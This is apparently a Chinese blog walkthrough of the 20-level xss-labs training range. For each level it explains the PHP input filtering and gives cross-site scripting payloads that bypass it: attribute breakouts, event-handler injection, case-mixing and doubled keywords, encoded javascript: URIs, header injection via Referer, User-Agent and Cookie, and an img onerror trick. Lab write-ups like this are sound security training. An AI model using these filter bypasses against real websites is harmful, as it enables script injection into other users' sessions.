前些时间把xss-labs的靶场练习了一下,其实如果想练习靶场的话,可以是从xss先开始的,sqli练习的我还停留在第四关。xss总共20关,还是好理解一点的,下面是我的一些理解。

基本流程:

先输入一个payload,然后查看网页源码,先猜想一下,再去查看原php文件,验证猜想或者找到解题的关键。

提供一个直接查看源码的快捷方式:ctrl+U,

或者直接在网址前面输入view-source: (一样的意思)我个人还是喜欢直接按ctrl+U的方式,比较方便。

level 1

可以先查看第一关的源码,发现直接将值传递过去了

在level1.php中:

1
$str = $_GET["name"];  

直接将键盘的值传送给了后台

payload:

1
<script>alert('xss')</script>

level 2

尝试:

1
<script>alert('xss')</script>

发现没有成功,查看一下源码:

png)

<和>都被编码成了html字符实体。

在level2.php中:

1
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

htmlspecialchars()函数对变量str进行处理之后显示到网页上。(即将<和>都被编码成了html字符实体)但value中并没有使用。

payload:

1
"><script>alert('xss')</script>//

 闭合前面的,注释后面的。

level 3

尝试:

1
<script>alert('xss')</script>

发现没有成功,查看一下源码:

在level3.php中:

1
2
3
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>

<input name=keyword value='".htmlspecialchars($str)."'>

两处都使用了htmlspecialchars()函数,就不能使用带有<或>

payload:

1
'onfocus=javascript:alert('xss')//

在使用之后,当使用鼠标点击该输入框时输入框被选中可以。

level 4

尝试:

1
<script>alert('xss')</script>

发现没有成功,查看一下源码:

在level4.php中:

1
2
3
$str2=str_replace(">","",$str);    #将变量中的>删除

$str3=str_replace("<","",$str2); #将变量中的<删除

不能使用带有<或>,还是可以使用第三关的题解。

payload:

1
'onfocus=javascript:alert('xss')//

在使用之后,当使用鼠标点击该输入框时输入框被选中可以。

level 5

尝试1:

1
<script>alert('xss')</script>

发现没有成功,查看一下源码:

尝试2

1
onfocus=javascript:alert('xss')

发现也未成功,查看一下源码:

在level5.php中:

1
2
3
4
5
$str = strtolower($_GET["keyword"]);   #将值进行全小写的转换,然后赋值给str变量。

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

通过str_replace()函数来破坏变量值中的敏感字符的语义。

不能用带有script和on的payload

payload:

1
"><a href=javascript:alert('xss')>xss</a>//

level 6

尝试1

1
<script>alert('xss')</script>

尝试2

1
onfocus=javascript:alert('xss')

尝试3

1
<a href=javascript:alert('xss')>xss</a>

查看源码,错误原因和level 5一样

在level6.php中:

1
2
3
4
5
6
7
8
9
$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

不能使用以上字符,但没转化成小写,因此可以利用大小写混写来绕过

payload:

1
"><a HrEf=javascript:alert('xss')>xss</a>//

其他的大小写混写一样也可以

level 7

尝试:

1
<script>alert('xss')</script>

查看网页源码:

尝试其他的语句,也是出现这种情况

在level7.php中:

1
2
3
4
5
6
7
8
9
10
11
$str =strtolower( $_GET["keyword"]);         #将参数值转换成小写

$str2=str_replace("script","",$str); #将基本的关键词都删掉

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

此时可使用双写关键字,

payload:

1
"oonnfocus=javascriscriptpt:alert(‘xss’)//

其实就是只要关键字”on” “script”等包含在那个里面,它删掉一个之后,还会保留一个,就可以实现绕过

level 8

尝试1:

1
<script>alert('xss')</script>

网页源码为:

尝试2:

1
javascript:alert(‘xss’)

查看网页源码发现破坏了语义:

在level8.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
$str = strtolower($_GET["keyword"]);      #将参数值转换成小写

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','"',$str6);

payload:

将unicode编码转换成ASCII码,即将javascript:alert(‘xss’)转换成ASCII码即可

level 9

尝试:

1
<script>alert('xss')</script>

查看网页源代码,推测要按照他的某个格式来

在leve9.php中:

1
if(false===strpos($str7,'http://'))   #判断如果字符中没有http://的话就会返回false,

payload:

跟level 8差不多,先将unicode编码转换成ASCII码,即将javascript:alert(‘xss’)转换成ASCII码,再在后面加一个真正的网址,如//http://www.baidu.com

level 10

尝试:

1
<script>alert('xss')</script>

查看源代码,发现有三个隐藏的表单

分别测试,发现只有t-sort可以写进值(在f12下调试,将表单的type=”hidden”改成type=”text”,再给value取值)

payload:

方法一:

1
?keyword=<script>alert(‘xss’)</script>&t_sort="type="text" onclick="alert('xss')

前面的keyword的值不重要,后面的t_sort等于后面的”是闭合value的”

方法二:

在控制台中,将值直接添加在其中:

level 11

尝试:

1
<script>alert('xss')</script>

查看源代码,发现有四个隐藏的表单:

和level10差不多,原来t_sort仍然是接受参数值的,但是里面的双引号加了htmlspecialchars()函数被编码了。

在leve11.php中:

1
$str11=$_SERVER['HTTP_REFERER'];   #在服务器端将请求头中的referer头的值赋给了str11这个变量

那么就可以利用这个请求头来绕过。

payload:

方法一:

用burp进行抓包,发现没有referer这个请求头,可以加上,然后发现我们添加的referer头的值出现在了t_ref标签的value属性值中了。
所以可以直接构造:

1
referer:"type="text" onclick="alert(‘xss’)

添加完成之后,点击发送即可。

方法二:

在控制台中,将值直接添加在其中:

level 12

尝试:

1
<script>alert('xss')</script>

查看源代码,发现有四个隐藏的表单:

和level11差不多,在level 12中:

1
$str11=$_SERVER['HTTP_USER_AGENT'];   #将请求中User-Agent头的值赋给了变量str11

可以利用这个请求头来绕过。

payload:

方法一:

用burp进行抓包,发现我们添加的User-Agent头的值出现在了t_ua标签的value属性值中了。
所以可以直接构造:

1
User-Agent:"type="text" onclick="alert(‘xss’)

方法二:

在控制台中,将值直接添加在其中:

level 13

尝试:

1
<script>alert('xss')</script>

查看源代码,发现有四个隐藏的表单:

和level12差不多,在level 13中:

1
$str11=$_COOKIE["user"];    #将请求中cookie的值赋给了变量str11

利用cookie来绕过。

payload:

方法一:

用burp进行抓包,发现我们添加的cookie的值出现在了t_cook标签的value属性值中了。
所以可以直接构造:

1
Cookie: user="type="text" onclick="alert(‘xss’)

方法二:

在控制台中,将值直接添加在其中

level 14

本关因iframe调用的文件地址失效,无法进行测试。

level 15

在level15.php中:

1
2
3
4
5
<script src="angular.min.js"></script>

$str = $_GET["src"];

echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

我们提交的参数src的值被插入到了标签的class属性值中,但是前面还有ng-include这样的字符。

ng-include是angular js中的东西,ng-include指令用于包含外部的HTML文件。

payload:

1
src='level1.php?name=<img src=1 onerror=alert(1)>'

或者

1
src='level1.php?name=<img src=1 onerror=alert(/xss/)>'

在img标签中,当src指向一个不明确的地址时,会执行onerror的语句。

level 16

在level16.php中:

1
2
3
4
5
6
7
$str = strtolower($_GET["keyword"]);  

$str2=str_replace("script"," ",$str);

$str3=str_replace(" "," ",$str2);

$str4=str_replace("/"," ",$str3);

说明不能使用大小写绕过,将”script”,” “,”/“替换成了&nbsp

payload:

使用一个不需要闭合的标签,且可以用回车(回车用%a来表示)来将它们分开,构造语句:

1
<img%0asrc=1%0aonerror=alert(‘xss’)>

level17

level17到level20因为一些浏览器的原因,无法显示图片

但其原理如下:

payload:

1
?arg01= onmousemove&arg02=javascript:alert(/xss/)

或者

1
?arg01=a&arg02= onmousemove="alert(/xss/)"

或者

1
?arg01= onclick&arg02=alert('xss')

输完之后,点击图片,触发鼠标,即可绕过。

注意:以上每一种方法的空格都很重要!!!

或者将a标签的href更改为如下内容,利用javascript伪协议

1
<a href="javascript:alert(‘xss’)">

level 18

与level17同理

level 19-level20

这两关与之前的很相似,只是在于输入的onmouseover事件会被当作普通文本,而双引号又被过滤因此也不能闭合进行绕过,可以F12手动加onmouseover事件通关。